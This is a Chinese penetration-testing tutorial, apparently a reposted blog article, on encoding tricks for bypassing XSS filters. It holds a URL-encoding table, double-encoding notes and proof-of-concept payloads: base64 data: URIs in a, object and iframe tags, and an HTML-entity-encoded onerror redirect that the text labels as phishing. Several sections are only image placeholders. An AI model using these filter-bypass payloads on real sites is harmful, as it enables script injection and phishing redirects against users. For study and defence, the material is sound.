当前位置:   article > 正文

【渗透测试】XSS编码及绕过原理_xss 防御之 url 编码

xss 防御之 url 编码

一、URL编码

url编码:一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如:"/"的url编码位%2F

URL 防止sql注入

URL编码平时是用不到的,因为IE会自动将输入到地址栏的非数字字母转换为url编码。曾有人提出数据库名字里带上“#”以防止被下载,因为IE遇到#就会忽略后面的字母。破解方法很简单——用url编码%23替换掉#。现在SQL注射非常流行,所以就有人写了一些防注射的脚本。

URL 编码对照表

URL 编码形式表示的 ASCII 字符(十六进制格式)。

十六进制格式用于在浏览器和插件中显示非标准的字母和字符。

URL 编码 - 从 %00 到 %8f

ASCII ValueURL-encodeASCII ValueURL-encodeASCII ValueURL-encode
æ%000%30`%60
%011%31a%61
%022%32b%62
%033%33c%63
%044%34d%64
%055%35e%65
%066%36f%66
%077%37g%67
backspace%088%38h%68
tab%099%39i%69
linefeed%0a:%3aj%6a
%0b;%3bk%6b
%0c<%3cl%6c
c return%0d=%3dm%6d
%0e>%3en%6e
%0f?%3fo%6f
%10@%40p%70
%11A%41q%71
%12B%42r%72
%13C%43s%73
%14D%44t%74
%15E%45u%75
%16F%46v%76
%17G%47w%77
%18H%48x%78
%19I%49y%79
%1aJ%4az%7a
%1bK%4b{%7b
%1cL%4c|%7c
%1dM%4d}%7d
%1eN%4e~%7e
%1fO%4f%7f
space%20P%50%80
!%21Q%51%81
"%22R%52%82
#%23S%53ƒ%83
$%24T%54%84
%%25U%55%85
&%26V%56%86
%27W%57%87
(%28X%58ˆ%88
)%29Y%59%89
*%2aZ%5aŠ%8a
+%2b[%5b%8b
,%2c\%5cŒ%8c
-%2d]%5d%8d
.%2e^%5eŽ%8e
/%2f_%5f%8f

URL 编码 - 从 %90 到 %ff

ASCII ValueURL-encodeASCII ValueURL-encodeASCII ValueURL-encode
%90À%c0ð%f0
%91Á%c1ñ%f1
%92Â%c2ò%f2
%93Ã%c3ó%f3
%94Ä%c4ô%f4
%95Å%c5õ%f5
%96Æ%c6ö%f6
%97Ç%c7÷%f7
˜%98È%c8ø%f8
%99É%c9ù%f9
š%9aÊ%caú%fa
%9bË%cbû%fb
œ%9cÌ%ccü%fc
%9dÍ%cdý%fd
ž%9eÎ%ceþ%fe
Ÿ%9fÏ%cfÿ%ff
%a0Ð%d0
¡%a1Ñ%d1
¢%a2Ò%d2
£%a3Ó%d3
%a4Ô%d4
¥%a5Õ%d5
|%a6Ö%d6
§%a7%d7
¨%a8Ø%d8
©%a9Ù%d9
ª%aaÚ%da
«%abÛ%db
¬%acÜ%dc
¯%adÝ%dd
®%aeÞ%de
¯%afß%df
°%b0à%e0
±%b1á%e1
²%b2â%e2
³%b3ã%e3
´%b4ä%e4
µ%b5å%e5
%b6æ%e6
·%b7ç%e7
¸%b8è%e8
¹%b9é%e9
º%baê%ea
»%bbë%eb
¼%bcì%ec
½%bdí%ed
¾%beî%ee
¿%bfï%ef

双url编码:对url编码在进行一次编码 %27 -- > %2527

二、HTML编码

在这里插入图片描述

三、javascript编码

在这里插入图片描述

四、各个编码利用场景

1、base64编码

Data协议使用方法:data:资源类型;编码,内容
例如:

<a href="可控点">
<iframe src="可控点">

在这种情况下如果过滤了<> ' " javascript的话,那么xss可以这样写,利用base64编码!
将<img src=x onerror=alert(1)><script>alert(1)</script> 整条base64编码为 PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==和PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  • 1
  • 2
  • 3
  • 4
  • 5
<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
<!--标签一-->
<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">click</a> <!--新版浏览器不在支持-->

<!--标签二-->
<object data="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">click</object> 
<!--
<script>alert(1)</script> 旧版新版火狐及chrome支持
<img src=x οnerrοr=alert(1)> 旧版新版火狐都不知此后,chrome支持
-->

<!--标签三-->
<iframe src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">click</iframe>
<!--
<script>alert(1)</script> 旧版新版火狐及chrome支持
<img src=x οnerrοr=alert(1)> 新版火狐支持,chrome新版支持旧版不支持
-->
</body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

标签解析原理
在这里插入图片描述

2、HTML实体编码(十进制和十六进制)

在这里插入图片描述
在这里插入图片描述
十进制编码

<img src=1 onerror="window.location='https://www.baidu.com'"> <!--钓鱼 跳转页面-->
	
<img src=1 onerror="&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;'https://www.baidu.com'">

<img src=1 onerror="&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#98;&#97;&#105;&#100;&#117;&#46;&#99;&#111;&#109;&#39;">
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述
在这里插入图片描述

3、javascript编码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、URL编码

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/天景科技苑/article/detail/921605
推荐阅读
相关标签
  

闽ICP备14008679号